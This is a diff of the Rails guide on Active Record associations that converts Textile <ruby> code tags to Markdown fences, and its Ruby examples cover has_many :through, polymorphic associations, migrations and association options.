A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
-<ruby>
+```ruby
class Physician < ActiveRecord::Base
has_many :appointments
has_many :patients, :through => :appointments
@@ -135,15 +135,15 @@ class Patient < ActiveRecord::Base
has_many :appointments
has_many :physicians, :through => :appointments
end
-</ruby>
+```
!images/has_many_through.png(has_many :through Association Diagram)!
The collection of join models can be managed via the API. For example, if you assign
-<ruby>
+```ruby
physician.patients = patients
-</ruby>
+```
new join models are created for newly associated objects, and if some are gone their rows are deleted.
@@ -151,7 +151,7 @@ WARNING: Automatic deletion of join models is direct, no destroy callbacks are t
The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
-<ruby>
+```ruby
class Document < ActiveRecord::Base
has_many :sections
has_many :paragraphs, :through => :sections
@@ -165,19 +165,19 @@ end
class Paragraph < ActiveRecord::Base
belongs_to :section
end
-</ruby>
+```
With +:through => :sections+ specified, Rails will now understand:
-<ruby>
+```ruby
@document.paragraphs
-</ruby>
+```
h4. The +has_one :through+ Association
A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account
has_one :account_history, :through => :account
@@ -191,7 +191,7 @@ end
class AccountHistory < ActiveRecord::Base
belongs_to :account
end
-</ruby>
+```
!images/has_one_through.png(has_one :through Association Diagram)!
@@ -199,7 +199,7 @@ h4. The +has_and_belongs_to_many+ Association
A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
-<ruby>
+```ruby
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -207,7 +207,7 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
-</ruby>
+```
!images/habtm.png(has_and_belongs_to_many Association Diagram)!
@@ -217,7 +217,7 @@ If you want to set up a one-to-one relationship between two models, you'll need
The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account
end
@@ -225,11 +225,11 @@ end
class Account < ActiveRecord::Base
belongs_to :supplier
end
-</ruby>
+```
The corresponding migration might look like this:
-<ruby>
+```ruby
class CreateSuppliers < ActiveRecord::Migration
def change
create_table :suppliers do |t|
@@ -244,7 +244,7 @@ class CreateSuppliers < ActiveRecord::Migration
end
end
end
-</ruby>
+```
NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead.
@@ -252,7 +252,7 @@ h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+
Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly:
-<ruby>
+```ruby
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -260,11 +260,11 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
-</ruby>
+```
The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model:
-<ruby>
+```ruby
class Assembly < ActiveRecord::Base
has_many :manifests
has_many :parts, :through => :manifests
@@ -279,7 +279,7 @@ class Part < ActiveRecord::Base
has_many :manifests
has_many :assemblies, :through => :manifests
end
-</ruby>
+```
The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database).
@@ -289,7 +289,7 @@ h4. Polymorphic Associations
A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
-<ruby>
+```ruby
class Picture < ActiveRecord::Base
belongs_to :imageable, :polymorphic => true
end
@@ -301,7 +301,7 @@ end
class Product < ActiveRecord::Base
has_many :pictures, :as => :imageable
end
-</ruby>
+```
You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+.
@@ -309,7 +309,7 @@ Similarly, you can retrieve +@product.pictures+.
If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
-<ruby>
+```ruby
class CreatePictures < ActiveRecord::Migration
def change
create_table :pictures do |t|
@@ -320,11 +320,11 @@ class CreatePictures < ActiveRecord::Migration
end
end
end
-</ruby>
+```
This migration can be simplified by using the +t.references+ form:
-<ruby>
+```ruby
class CreatePictures < ActiveRecord::Migration
def change
create_table :pictures do |t|
@@ -334,7 +334,7 @@ class CreatePictures < ActiveRecord::Migration
end
end
end
-</ruby>
+```
!images/polymorphic.png(Polymorphic Association Diagram)!
@@ -342,13 +342,13 @@ h4. Self Joins
In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
-<ruby>
+```ruby
class Employee < ActiveRecord::Base
has_many :subordinates, :class_name => "Employee",
:foreign_key => "manager_id"
belongs_to :manager, :class_name => "Employee"
end
-</ruby>
+```
With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+.
@@ -366,20 +366,20 @@ h4. Controlling Caching
All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
-<ruby>
+```ruby
customer.orders # retrieves orders from the database
customer.orders.size # uses the cached copy of orders
customer.orders.empty? # uses the cached copy of orders
-</ruby>
+```
But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call:
-<ruby>
+```ruby
customer.orders # retrieves orders from the database
customer.orders.size # uses the cached copy of orders
customer.orders(true).empty? # discards the cached copy of orders
# and goes back to the database
-</ruby>
+```
h4. Avoiding Name Collisions
@@ -393,15 +393,15 @@ h5. Creating Foreign Keys for +belongs_to+ Associations
When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer
end
-</ruby>
+```
This declaration needs to be backed up by the proper foreign key declaration on the orders table:
-<ruby>
+```ruby
class CreateOrders < ActiveRecord::Migration
def change
create_table :orders do |t|
@@ -411,7 +411,7 @@ class CreateOrders < ActiveRecord::Migration
end
end
end
-</ruby>
+```
If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key.
@@ -423,7 +423,7 @@ WARNING: The precedence between model names is calculated using the +&lt;+ opera
Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
-<ruby>
+```ruby
class Assembly < ActiveRecord::Base
has_and_belongs_to_many :parts
end
@@ -431,11 +431,11 @@ end
class Part < ActiveRecord::Base
has_and_belongs_to_many :assemblies
end
-</ruby>
+```
These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key:
-<ruby>
+```ruby
class CreateAssemblyPartJoinTable < ActiveRecord::Migration
def change
create_table :assemblies_parts, :id => false do |t|
@@ -444,7 +444,7 @@ class CreateAssemblyPartJoinTable < ActiveRecord::Migration
end
end
end
-</ruby>
+```
We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
@@ -452,7 +452,7 @@ h4. Controlling Association Scope
By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
-<ruby>
+```ruby
module MyApplication
module Business
class Supplier < ActiveRecord::Base
@@ -464,11 +464,11 @@ module MyApplication
end
end
end
-</ruby>
+```
This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes:
-<ruby>
+```ruby
module MyApplication
module Business
class Supplier < ActiveRecord::Base
@@ -482,11 +482,11 @@ module MyApplication
end
end
end
-</ruby>
+```
To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
-<ruby>
+```ruby
module MyApplication
module Business
class Supplier < ActiveRecord::Base
@@ -502,13 +502,13 @@ module MyApplication
end
end
end
-</ruby>
+```
h4. Bi-directional Associations
It's normal for associations to work in two directions, requiring declaration on two different models:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders
end
@@ -516,21 +516,21 @@ end
class Order < ActiveRecord::Base
belongs_to :customer
end
-</ruby>
+```
By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
-<ruby>
+```ruby
c = Customer.first
o = c.orders.first
c.first_name == o.customer.first_name # => true
c.first_name = 'Manny'
c.first_name == o.customer.first_name # => false
-</ruby>
+```
This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the +:inverse_of+ option so that you can inform it of these relations:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :inverse_of => :customer
end
@@ -538,17 +538,17 @@ end
class Order < ActiveRecord::Base
belongs_to :customer, :inverse_of => :orders
end
-</ruby>
+```
With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
-<ruby>
+```ruby
c = Customer.first
o = c.orders.first
c.first_name == o.customer.first_name # => true
c.first_name = 'Manny'
c.first_name == o.customer.first_name # => true
-</ruby>
+```
There are a few limitations to +inverse_of+ support:
@@ -576,20 +576,20 @@ When you declare a +belongs_to+ association, the declaring class automatically g
In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer
end
-</ruby>
+```
Each instance of the order model will have these methods:
-<ruby>
+```ruby
customer
customer=
build_customer
create_customer
-</ruby>
+```
NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
@@ -597,9 +597,9 @@ h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt>
The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-<ruby>
+```ruby
@customer = @order.customer
-</ruby>
+```
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
@@ -607,39 +607,39 @@ h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt>
The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
-<ruby>
+```ruby
@order.customer = @customer
-</ruby>
+```
h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
-<ruby>
+```ruby
@customer = @order.build_customer(:customer_number => 123,
:customer_name => "John Doe")
-</ruby>
+```
h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-<ruby>
+```ruby
@customer = @order.create_customer(:customer_number => 123,
:customer_name => "John Doe")
-</ruby>
+```
h5. Options for +belongs_to+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :dependent => :destroy,
:counter_cache => true
end
-</ruby>
+```
The +belongs_to+ association supports these options:
@@ -661,48 +661,48 @@ h6(#belongs_to-class_name). +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :class_name => "Patron"
end
-</ruby>
+```
h6(#belongs_to-counter_cache). +:counter_cache+
The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer
end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :counter_cache => true
end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :counter_cache => :count_of_orders
end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
@@ -716,12 +716,12 @@ h6(#belongs_to-foreign_key). +:foreign_key+
By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :class_name => "Patron",
:foreign_key => "patron_id"
end
-</ruby>
+```
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
@@ -729,7 +729,7 @@ h6(#belongs_to-inverse_of). +:inverse_of+
The +:inverse_of+ option specifies the name of the +has_many+ or +has_one+ association that is the inverse of this association. Does not work in combination with the +:polymorphic+ options.
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :inverse_of => :customer
end
@@ -737,7 +737,7 @@ end
class Order < ActiveRecord::Base
belongs_to :customer, :inverse_of => :orders
end
-</ruby>
+```
h6(#belongs_to-polymorphic). +:polymorphic+
@@ -747,7 +747,7 @@ h6(#belongs_to-touch). +:touch+
If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :touch => true
end
@@ -755,15 +755,15 @@ end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, :touch => :orders_updated_at
end
-</ruby>
+```
h6(#belongs_to-validate). +:validate+
@@ -773,12 +773,12 @@ h5(#belongs_to-scopes_for_belongs_to). Scopes for +belongs_to+
There may be times when you wish to customize the query used by +belongs_to+. Such customizations can be achieved via a scope block. For example:
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, -> { where :active => true },
:dependent => :destroy
end
-</ruby>
+```
You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
@@ -791,17 +791,17 @@ h6(#belongs_to-where). +where+
The +where+ method lets you specify the conditions that the associated object must meet.
-<ruby>
+```ruby
class Order < ActiveRecord::Base
belongs_to :customer, -> { where :active => true }
end
-</ruby>
+```
h6(#belongs_to-includes). +includes+
You can use the +includes+ method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-<ruby>
+```ruby
class LineItem < ActiveRecord::Base
belongs_to :order
end
@@ -814,11 +814,11 @@ end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-<ruby>
+```ruby
class LineItem < ActiveRecord::Base
belongs_to :order, -> { includes :customer }
end
@@ -831,7 +831,7 @@ end
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
NOTE: There's no need to use +includes+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
@@ -849,11 +849,11 @@ h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist
You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-<ruby>
+```ruby
if @order.customer.nil?
@msg = "No customer found for this order"
end
-</ruby>
+```
h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
@@ -874,20 +874,20 @@ When you declare a +has_one+ association, the declaring class automatically gain
In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account
end
-</ruby>
+```
Each instance of the +Supplier+ model will have these methods:
-<ruby>
+```ruby
account
account=
build_account
create_account
-</ruby>
+```
NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
@@ -895,9 +895,9 @@ h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-<ruby>
+```ruby
@account = @supplier.account
-</ruby>
+```
If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
@@ -905,35 +905,35 @@ h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-<ruby>
+```ruby
@supplier.account = @account
-</ruby>
+```
h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-<ruby>
+```ruby
@account = @supplier.build_account(:terms => "Net 30")
-</ruby>
+```
h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-<ruby>
+```ruby
@account = @supplier.create_account(:terms => "Net 30")
-</ruby>
+```
h5. Options for +has_one+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, :class_name => "Billing", :dependent => :nullify
end
-</ruby>
+```
The +has_one+ association supports these options:
@@ -961,11 +961,11 @@ h6(#has_one-class_name). +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, :class_name => "Billing"
end
-</ruby>
+```
h6(#has_one-dependent). +:dependent+
@@ -981,11 +981,11 @@ h6(#has_one-foreign_key). +:foreign_key+
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, :foreign_key => "supp_id"
end
-</ruby>
+```
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
@@ -993,7 +993,7 @@ h6(#has_one-inverse_of). +:inverse_of+
The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, :inverse_of => :supplier
end
@@ -1001,7 +1001,7 @@ end
class Account < ActiveRecord::Base
belongs_to :supplier, :inverse_of => :account
end
-</ruby>
+```
h6(#has_one-primary_key). +:primary_key+
@@ -1027,11 +1027,11 @@ h5(#belongs_to-scopes_for_has_one). Scopes for +has_one+
There may be times when you wish to customize the query used by +has_one+. Such customizations can be achieved via a scope block. For example:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, -> { where :active => true }
end
-</ruby>
+```
You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
@@ -1044,17 +1044,17 @@ h6(#has_one-where). +where+
The +where+ method lets you specify the conditions that the associated object must meet.
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, -> { where "confirmed = 1" }
end
-</ruby>
+```
h6(#has_one-includes). +includes+
You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account
end
@@ -1067,11 +1067,11 @@ end
class Representative < ActiveRecord::Base
has_many :accounts
end
-</ruby>
+```
If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-<ruby>
+```ruby
class Supplier < ActiveRecord::Base
has_one :account, -> { includes :representative }
end
@@ -1084,7 +1084,7 @@ end
class Representative < ActiveRecord::Base
has_many :accounts
end
-</ruby>
+```
h6(#has_one-readonly). +readonly+
@@ -1098,11 +1098,11 @@ h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-<ruby>
+```ruby
if @supplier.account.nil?
@msg = "No account found for this supplier"
end
-</ruby>
+```
h5(#has_one-when_are_objects_saved). When are Objects Saved?
@@ -1139,15 +1139,15 @@ When you declare a +has_many+ association, the declaring class automatically gai
In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders
end
-</ruby>
+```
Each instance of the customer model will have these methods:
-<ruby>
+```ruby
orders(force_reload = false)
orders<<(object, ...)
orders.delete(object, ...)
@@ -1162,31 +1162,31 @@ orders.where(...)
orders.exists?(...)
orders.build(attributes = {}, ...)
orders.create(attributes = {})
-</ruby>
+```
h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-<ruby>
+```ruby
@orders = @customer.orders
-</ruby>
+```
h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-<ruby>
+```ruby
@customer.orders << @order1
-</ruby>
+```
h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-<ruby>
+```ruby
@customer.orders.delete(@order1)
-</ruby>
+```
WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
@@ -1199,9 +1199,9 @@ h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-<ruby>
+```ruby
@order_ids = @customer.order_ids
-</ruby>
+```
h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
@@ -1215,36 +1215,36 @@ h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-<ruby>
+```ruby
<% if @customer.orders.empty? %>
No Orders Found
<% end %>
-</ruby>
+```
h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-<ruby>
+```ruby
@order_count = @customer.orders.size
-</ruby>
+```
h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-<ruby>
+```ruby
@open_orders = @customer.orders.find(1)
-</ruby>
+```
h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
-<ruby>
+```ruby
@open_orders = @customer.orders.where(:open => true) # No query yet
@open_order = @open_orders.first # Now the database will be queried
-</ruby>
+```
h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
@@ -1254,29 +1254,29 @@ h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, .
The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-<ruby>
+```ruby
@order = @customer.orders.build(:order_date => Time.now,
:order_number => "A12345")
-</ruby>
+```
h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-<ruby>
+```ruby
@order = @customer.orders.create(:order_date => Time.now,
:order_number => "A12345")
-</ruby>
+```
h5. Options for +has_many+
While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :dependent => :delete_all, :validate => :false
end
-</ruby>
+```
The +has_many+ association supports these options:
@@ -1304,11 +1304,11 @@ h6(#has_many-class_name). +:class_name+
If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :class_name => "Transaction"
end
-</ruby>
+```
h6(#has_many-dependent). +:dependent+
@@ -1326,11 +1326,11 @@ h6(#has_many-foreign_key). +:foreign_key+
By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :foreign_key => "cust_id"
end
-</ruby>
+```
TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
@@ -1338,7 +1338,7 @@ h6(#has_many-inverse_of). +:inverse_of+
The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, :inverse_of => :customer
end
@@ -1346,7 +1346,7 @@ end
class Order < ActiveRecord::Base
belongs_to :customer, :inverse_of => :orders
end
-</ruby>
+```
h6(#has_many-primary_key). +:primary_key+
@@ -1372,11 +1372,11 @@ h5(#has_many-scopes_for_has_many). Scopes for +has_many+
There may be times when you wish to customize the query used by +has_many+. Such customizations can be achieved via a scope block. For example:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, -> { where :processed => true }
end
-</ruby>
+```
You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
@@ -1395,21 +1395,21 @@ h6(#has_many-where). +where+
The +where+ method lets you specify the conditions that the associated object must meet.
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :confirmed_orders, -> { where "confirmed = 1" },
:class_name => "Order"
end
-</ruby>
+```
You can also set conditions via a hash:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :confirmed_orders, -> { where :confirmed => true },
:class_name => "Order"
end
-</ruby>
+```
If you use a hash-style +where+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
@@ -1421,18 +1421,18 @@ h6(#has_many-group). +group+
The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :line_items, -> { group 'orders.id' },
:through => :orders
end
-</ruby>
+```
h6(#has_many-includes). +includes+
You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders
end
@@ -1445,11 +1445,11 @@ end
class LineItem < ActiveRecord::Base
belongs_to :order
end
-</ruby>
+```
If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :orders, -> { includes :line_items }
end
@@ -1462,19 +1462,19 @@ end
class LineItem < ActiveRecord::Base
belongs_to :order
end
-</ruby>
+```
h6(#has_many-limit). +limit+
The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
-<ruby>
+```ruby
class Customer < ActiveRecord::Base
has_many :recent_orders,
-> { order('order_date desc').limit(100) },
:class_name => "Order",
end
-</ruby>
+```
h6(#has_many-offset). +offset+
